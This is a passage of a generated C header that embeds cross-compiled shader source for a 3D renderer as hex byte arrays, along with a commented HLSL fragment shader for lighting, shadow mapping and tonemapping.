0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x76,0x46,
0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x3d,0x20,0x6d,0x75,0x6c,0x28,0x61,0x50,0x6f,
0x73,0x69,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x78,0x33,
0x28,0x5f,0x31,0x36,0x5f,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x5b,0x30,0x5d,0x2e,0x78,
0x79,0x7a,0x2c,0x20,0x5f,0x31,0x36,0x5f,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x5b,0x31,
0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x31,0x36,0x5f,0x75,0x4d,0x6f,0x64,0x65,
0x6c,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x29,0x3b,0x0a,0x23,0x6c,0x69,0x6e,
0x65,0x20,0x32,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,
0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,
0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,
0x6f,0x72,0x64,0x20,0x3d,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x33,0x30,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x76,
0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3d,0x20,0x61,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x33,0x31,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x20,0x20,0x20,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,
0x65,0x74,0x20,0x3d,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,
0x74,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x33,0x33,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,
0x20,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x3d,0x20,
0x6d,0x75,0x6c,0x28,0x5f,0x32,0x39,0x2c,0x20,0x5f,0x31,0x36,0x5f,0x75,0x5f,0x64,
0x65,0x70,0x74,0x68,0x5f,0x6d,0x76,0x70,0x29,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x33,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,
0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x6d,0x75,0x6c,0x28,0x5f,0x32,0x39,0x2c,0x20,
0x5f,0x31,0x36,0x5f,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,0x50,0x72,
0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x53,0x50,
0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,0x75,0x74,0x70,0x75,0x74,
0x20,0x6d,0x61,0x69,0x6e,0x28,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,
0x73,0x5f,0x49,0x6e,0x70,0x75,0x74,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,
0x70,0x75,0x74,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x61,0x50,0x6f,0x73,0x69,
0x74,0x69,0x6f,0x6e,0x20,0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,
0x75,0x74,0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x73,0x74,
0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x61,0x54,0x65,0x78,0x43,0x6f,
0x6f,0x72,0x64,0x3b,0x0a,0x20,0x20,0x20,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,
0x75,0x6c,0x74,0x20,0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,
0x74,0x2e,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3d,
0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,0x70,0x75,0x74,0x2e,0x61,0x43,0x6f,
0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x61,
0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3d,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,
0x6e,0x70,0x75,0x74,0x2e,0x61,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x76,0x65,0x72,0x74,0x5f,0x6d,0x61,0x69,0x6e,0x28,0x29,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x53,0x50,0x49,0x52,0x56,0x5f,0x43,0x72,0x6f,0x73,0x73,0x5f,0x4f,
0x75,0x74,0x70,0x75,0x74,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,
0x75,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,
0x74,0x70,0x75,0x74,0x2e,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x20,0x3d,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,
0x20,0x20,0x20,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,
0x2e,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3d,0x20,0x76,0x4e,0x6f,0x72,0x6d,
0x61,0x6c,0x3b,0x0a,0x20,0x20,0x20,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,
0x74,0x70,0x75,0x74,0x2e,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x3d,0x20,
0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x73,0x74,
0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x2e,0x76,0x54,0x65,0x78,0x43,
0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,
0x75,0x74,0x2e,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3d,0x20,
0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x2e,0x76,0x43,0x6f,
0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3d,0x20,0x76,0x43,0x6f,0x6c,
0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x73,0x74,
0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x2e,0x76,0x5f,0x73,0x68,0x61,
0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x3d,0x20,0x76,0x5f,0x73,0x68,0x61,0x64,
0x6f,0x77,0x5f,0x70,0x6f,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,
0x72,0x6e,0x20,0x73,0x74,0x61,0x67,0x65,0x5f,0x6f,0x75,0x74,0x70,0x75,0x74,0x3b,
0x0a,0x7d,0x0a,0x00,
};
/*
cbuffer material_params : register(b0)
{
float3 _110_mat_ambient : packoffset(c0);
float3 _110_mat_diffuse : packoffset(c1);
float3 _110_mat_specular : packoffset(c2);
float3 _110_mat_emission : packoffset(c3);
float _110_mat_shininess : packoffset(c3.w);
float _110_mat_roughness : packoffset(c4);
};
cbuffer fs_params : register(b1)
{
float4 _292_u_time : packoffset(c0);
float4 _292_u_resolution : packoffset(c1);
float3 _292_uViewPos : packoffset(c2);
};
cbuffer light_params : register(b2)
{
float3 _328_light_position : packoffset(c0);
float3 _328_light_ambient : packoffset(c1);
float3 _328_light_diffuse : packoffset(c2);
float3 _328_light_specular : packoffset(c3);
};
cbuffer light2_params : register(b3)
{
float3 _387_light2_position : packoffset(c0);
float _387_light2_radius : packoffset(c0.w);
float3 _387_light2_ambient : packoffset(c1);
float _387_light2_falloff : packoffset(c1.w);
float3 _387_light2_diffuse : packoffset(c2);
float3 _387_light2_specular : packoffset(c3);
};
Texture2D<float4> u_image_shadow_map : register(t0);
SamplerState _u_image_shadow_map_sampler : register(s0);
Texture2D<float4> uImage0 : register(t1);
SamplerState _uImage0_sampler : register(s1);
static float4 v_shadow_pos;
static float3 vNormal;
static float3 vFragPos;
static float2 vTexCoord;
static float4 vColorMult;
static float4 frag_color;
static float4 vColorOffset;
struct SPIRV_Cross_Input
{
float2 vTexCoord : TEXCOORD0;
float3 vNormal : TEXCOORD1;
float3 vFragPos : TEXCOORD2;
float4 vColorMult : TEXCOORD3;
float4 vColorOffset : TEXCOORD4;
float4 v_shadow_pos : TEXCOORD5;
};
struct SPIRV_Cross_Output
{
float4 frag_color : SV_Target0;
};
#line 196 "src/ek/scenex/3d/render3d.glsl"
float oren_nayar_diffuse(float3 light_direction, float3 view_direction, float3 surface_normal, float roughness, float albedo)
{
#line 196 "src/ek/scenex/3d/render3d.glsl"
#line 197 "src/ek/scenex/3d/render3d.glsl"
float _219 = dot(light_direction, surface_normal);
#line 198 "src/ek/scenex/3d/render3d.glsl"
float _223 = dot(surface_normal, view_direction);
float _229 = dot(light_direction, view_direction) - (_219 * _223);
#line 203 "src/ek/scenex/3d/render3d.glsl"
float _240 = roughness * roughness;
#line 207 "src/ek/scenex/3d/render3d.glsl"
return ((albedo * max(0.0f, _219)) * ((1.0f + (_240 * ((albedo / (_240 + 0.12999999523162841796875f)) + (0.5f / (_240 + 0.3300000131130218505859375f))))) + ((((0.449999988079071044921875f * _240) / (_240 + 0.0900000035762786865234375f)) * _229) / lerp(1.0f, max(_219, _223), step(0.0f, _229))))) * 0.3183098733425140380859375f;
}
#line 211 "src/ek/scenex/3d/render3d.glsl"
float lambert_diffuse(float3 light_direction, float3 normal)
{
#line 211 "src/ek/scenex/3d/render3d.glsl"
return dot(normal, light_direction);
}
#line 56 "src/ek/scenex/3d/render3d.glsl"
float decodeDepth(float4 rgba)
{
#line 56 "src/ek/scenex/3d/render3d.glsl"
return dot(rgba, float4(1.0f, 0.0039215688593685626983642578125f, 1.5378700481960549950599670410156e-05f, 6.0308629201699659461155533790588e-08f));
}
#line 165 "src/ek/scenex/3d/render3d.glsl"
float calc_shadow(float cos_theta)
{
#line 165 "src/ek/scenex/3d/render3d.glsl"
float3 _169 = v_shadow_pos.xyz / v_shadow_pos.w.xxx;
float2 _179 = (_169.xy * 0.5f) + 0.5f.xx;
float2 _476 = _179;
_476.y = 1.0f - _179.y;
#line 171 "src/ek/scenex/3d/render3d.glsl"
#line 191 "src/ek/scenex/3d/render3d.glsl"
float4 param = u_image_shadow_map.Sample(_u_image_shadow_map_sampler, _476);
return step(decodeDepth(param), _169.z - (0.5f * clamp(0.004999999888241291046142578125f * tan(acos(cos_theta)), 0.0f, 0.00999999977648258209228515625f)));
}
#line 152 "src/ek/scenex/3d/render3d.glsl"
float calc_spec(float3 light_dir, float3 view_dir, float3 normal)
{
#line 152 "src/ek/scenex/3d/render3d.glsl"
#line 153 "src/ek/scenex/3d/render3d.glsl"
return ((8.0f + _110_mat_shininess) * 0.0397887341678142547607421875f) * pow(max(dot(normal, normalize(light_dir + view_dir)), 0.0f), _110_mat_shininess);
}
#line 135 "src/ek/scenex/3d/render3d.glsl"
float attenuation_point(float3 distance_by_radius, float falloff)
{
#line 135 "src/ek/scenex/3d/render3d.glsl"
return pow(1.0f - min(1.0f, length(distance_by_radius)), 2.0f * falloff);
}
#line 64 "src/ek/scenex/3d/render3d.glsl"
float luminance(float3 _linear)
{
#line 64 "src/ek/scenex/3d/render3d.glsl"
return dot(_linear, float3(0.2125999927520751953125f, 0.715200006961822509765625f, 0.072200000286102294921875f));
}
#line 73 "src/ek/scenex/3d/render3d.glsl"
float3 linear_to_gamma(float3 x)
{
#line 73 "src/ek/scenex/3d/render3d.glsl"
return pow(x, 0.4545454680919647216796875f.xxx);
}
#line 89 "src/ek/scenex/3d/render3d.glsl"
float3 tonemap_reinhard(float3 x)
{
#line 89 "src/ek/scenex/3d/render3d.glsl"
float3 param = x;
float3 param_1 = x / (1.0f + luminance(param)).xxx;
return linear_to_gamma(param_1);
}
#line 215 "src/ek/scenex/3d/render3d.glsl"
void frag_main()
{
#line 215 "src/ek/scenex/3d/render3d.glsl"
float3 _288 = normalize(vNormal);
#line 216 "src/ek/scenex/3d/render3d.glsl"
float3 _300 = normalize(_292_uViewPos - vFragPos);
#line 217 "src/ek/scenex/3d/render3d.glsl"
float3 total = _110_mat_emission;
#line 218 "src/ek/scenex/3d/render3d.glsl"
float4 _311 = uImage0.Sample(_uImage0_sampler, vTexCoord);
float4 _314 = _311 * vColorMult;
float3 _324 = float3(_314.xyz) * _110_mat_diffuse;
#line 223 "src/ek/scenex/3d/render3d.glsl"
float3 param = _328_light_position;
float3 param_1 = _300;
float3 param_2 = _288;
float param_3 = 0.5f;
float param_4 = 1.0f;
float _339 = oren_nayar_diffuse(param, param_1, param_2, param_3, param_4);
#line 224 "src/ek/scenex/3d/render3d.glsl"
total += (_110_mat_ambient * _328_light_ambient);
if (_339 > 0.0f)
{
float3 param_5 = _328_light_position;
float3 param_6 = _288;
#line 227 "src/ek/scenex/3d/render3d.glsl"
float3 param_7 = _328_light_position;
float3 param_8 = _300;
float3 param_9 = _288;
total += ((((_110_mat_specular * _328_light_specular) * calc_spec(param_7, param_8, param_9)) + ((_324 * _328_light_diffuse) * _339)) * (1.0f - calc_shadow(clamp(lambert_diffuse(param_5, param_6), 0.0f, 1.0f))));
}
#line 235 "src/ek/scenex/3d/render3d.glsl"
float3 _391 = _387_light2_position - vFragPos;
float3 _399 = _391 / length(_391).xxx;
float3 param_10 = _399;
float3 param_11 = _300;
float3 param_12 = _288;
float param_13 = 0.5f;
float param_14 = 1.0f;
float _409 = oren_nayar_diffuse(param_10, param_11, param_12, param_13, param_14);
total += (_110_mat_ambient * _387_light2_ambient);
if (_409 > 0.0f)
{
float3 param_15 = _391 / _387_light2_radius.xxx;
float param_16 = _387_light2_falloff;
float _431 = attenuation_point(param_15, param_16);
if (_431 > 0.0f)
{
#line 246 "src/ek/scenex/3d/render3d.glsl"
#line 245 "src/ek/scenex/3d/render3d.glsl"
float3 param_17 = _399;
float3 param_18 = _300;
float3 param_19 = _288;
total += ((((_110_mat_specular * _387_light2_specular) * calc_spec(param_17, param_18, param_19)) + ((_324 * _387_light2_diffuse) * _409)) * _431);
}
}
#line 252 "src/ek/scenex/3d/render3d.glsl"
float3 _462 = tonemap_reinhard(total);
total = _462;
frag_color = float4(_462, _314.w);
}
SPIRV_Cross_Output main(SPIRV_Cross_Input stage_input)
{
v_shadow_pos = stage_input.v_shadow_pos;
vNormal = stage_input.vNormal;
vFragPos = stage_input.vFragPos;
vTexCoord = stage_input.vTexCoord;
vColorMult = stage_input.vColorMult;
vColorOffset = stage_input.vColorOffset;
frag_main();
SPIRV_Cross_Output stage_output;
stage_output.frag_color = frag_color;
return stage_output;
}
*/
static const char fs_source_hlsl5[7969] = {
0x63,0x62,0x75,0x66,0x66,0x65,0x72,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x20,0x3a,0x20,0x72,0x65,0x67,0x69,0x73,0x74,
0x65,0x72,0x28,0x62,0x30,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x20,0x5f,0x31,0x31,0x30,0x5f,0x6d,0x61,0x74,0x5f,0x61,0x6d,0x62,
0x69,0x65,0x6e,0x74,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,
0x74,0x28,0x63,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x5f,0x31,0x31,0x30,0x5f,0x6d,0x61,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,
0x73,0x65,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,
0x63,0x31,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x5f,0x31,0x31,0x30,0x5f,0x6d,0x61,0x74,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,
0x72,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,0x63,
0x32,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,
0x31,0x31,0x30,0x5f,0x6d,0x61,0x74,0x5f,0x65,0x6d,0x69,0x73,0x73,0x69,0x6f,0x6e,
0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,0x63,0x33,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x31,0x31,
0x30,0x5f,0x6d,0x61,0x74,0x5f,0x73,0x68,0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x20,
0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,0x63,0x33,0x2e,
0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x31,
0x31,0x30,0x5f,0x6d,0x61,0x74,0x5f,0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,0x73,
0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,0x63,0x34,
0x29,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x63,0x62,0x75,0x66,0x66,0x65,0x72,0x20,0x66,
0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x20,0x3a,0x20,0x72,0x65,0x67,0x69,0x73,
0x74,0x65,0x72,0x28,0x62,0x31,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x34,0x20,0x5f,0x32,0x39,0x32,0x5f,0x75,0x5f,0x74,0x69,0x6d,0x65,
0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,0x63,0x30,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x5f,0x32,
0x39,0x32,0x5f,0x75,0x5f,0x72,0x65,0x73,0x6f,0x6c,0x75,0x74,0x69,0x6f,0x6e,0x20,
0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,0x63,0x31,0x29,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x32,0x39,
0x32,0x5f,0x75,0x56,0x69,0x65,0x77,0x50,0x6f,0x73,0x20,0x3a,0x20,0x70,0x61,0x63,
0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,0x63,0x32,0x29,0x3b,0x0a,0x7d,0x3b,0x0a,
0x0a,0x63,0x62,0x75,0x66,0x66,0x65,0x72,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,
0x61,0x72,0x61,0x6d,0x73,0x20,0x3a,0x20,0x72,0x65,0x67,0x69,0x73,0x74,0x65,0x72,
0x28,0x62,0x32,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x5f,0x33,0x32,0x38,0x5f,0x6c,0x69,0x67,0x68,0x74,0x5f,0x70,0x6f,0x73,
0x69,0x74,0x69,0x6f,0x6e,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,
0x65,0x74,0x28,0x63,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x5f,0x33,0x32,0x38,0x5f,0x6c,0x69,0x67,0x68,0x74,0x5f,0x61,0x6d,
0x62,0x69,0x65,0x6e,0x74,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,
0x65,0x74,0x28,0x63,0x31,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x5f,0x33,0x32,0x38,0x5f,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,
0x66,0x66,0x75,0x73,0x65,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,
0x65,0x74,0x28,0x63,0x32,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x5f,0x33,0x32,0x38,0x5f,0x6c,0x69,0x67,0x68,0x74,0x5f,0x73,0x70,
0x65,0x63,0x75,0x6c,0x61,0x72,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,
0x73,0x65,0x74,0x28,0x63,0x33,0x29,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x63,0x62,0x75,
0x66,0x66,0x65,0x72,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x61,0x72,0x61,
0x6d,0x73,0x20,0x3a,0x20,0x72,0x65,0x67,0x69,0x73,0x74,0x65,0x72,0x28,0x62,0x33,
0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,
0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x70,0x6f,0x73,0x69,0x74,
0x69,0x6f,0x6e,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,
0x28,0x63,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,
0x5f,0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x72,0x61,0x64,0x69,
0x75,0x73,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,
0x63,0x30,0x2e,0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x5f,0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x61,0x6d,
0x62,0x69,0x65,0x6e,0x74,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,
0x65,0x74,0x28,0x63,0x31,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x20,0x5f,0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x66,0x61,
0x6c,0x6c,0x6f,0x66,0x66,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,0x66,0x66,0x73,
0x65,0x74,0x28,0x63,0x31,0x2e,0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x5f,0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,0x32,
0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x20,0x3a,0x20,0x70,0x61,0x63,0x6b,0x6f,
0x66,0x66,0x73,0x65,0x74,0x28,0x63,0x32,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x33,0x38,0x37,0x5f,0x6c,0x69,0x67,0x68,0x74,
0x32,0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x20,0x3a,0x20,0x70,0x61,0x63,
0x6b,0x6f,0x66,0x66,0x73,0x65,0x74,0x28,0x63,0x33,0x29,0x3b,0x0a,0x7d,0x3b,0x0a,
0x0a,0x54,0x65,0x78,0x74,0x75,0x72,0x65,0x32,0x44,0x3c,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x3e,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,
0x77,0x5f,0x6d,0x61,0x70,0x20,0x3a,0x20,0x72,0x65,0x67,0x69,0x73,0x74,0x65,0x72,
0x28,0x74,0x30,0x29,0x3b,0x0a,0x53,0x61,0x6d,0x70,0x6c,0x65,0x72,0x53,0x74,0x61,
0x74,0x65,0x20,0x5f,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,
0x6f,0x77,0x5f,0x6d,0x61,0x70,0x5f,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x20,0x3a,
0x20,0x72,0x65,0x67,0x69,0x73,0x74,0x65,0x72,0x28,0x73,0x30,0x29,0x3b,0x0a,0x54,
0x65,0x78,0x74,0x75,0x72,0x65,0x32,0x44,0x3c,0x66,0x6c,0x6f,0x61,0x74,0x34,0x3e,
0x20,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x20,0x3a,0x20,0x72,0x65,0x67,0x69,0x73,
0x74,0x65,0x72,0x28,0x74,0x31,0x29,0x3b,0x0a,0x53,0x61,0x6d,0x70,0x6c,0x65,0x72,
0x53,0x74,0x61,0x74,0x65,0x20,0x5f,0x75,0x49,0x6d,0x61,0x67,0x65,0x30,0x5f,0x73,
0x61,0x6d,0x70,0x6c,0x65,0x72,0x20,0x3a,0x20,0x72,0x65,0x67,0x69,0x73,0x74,0x65,
0x72,0x28,0x73,0x31,0x29,0x3b,0x0a,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,
0x6f,0x73,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,
0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,
0x73,0x3b,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,
0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x73,0x74,0x61,0x74,
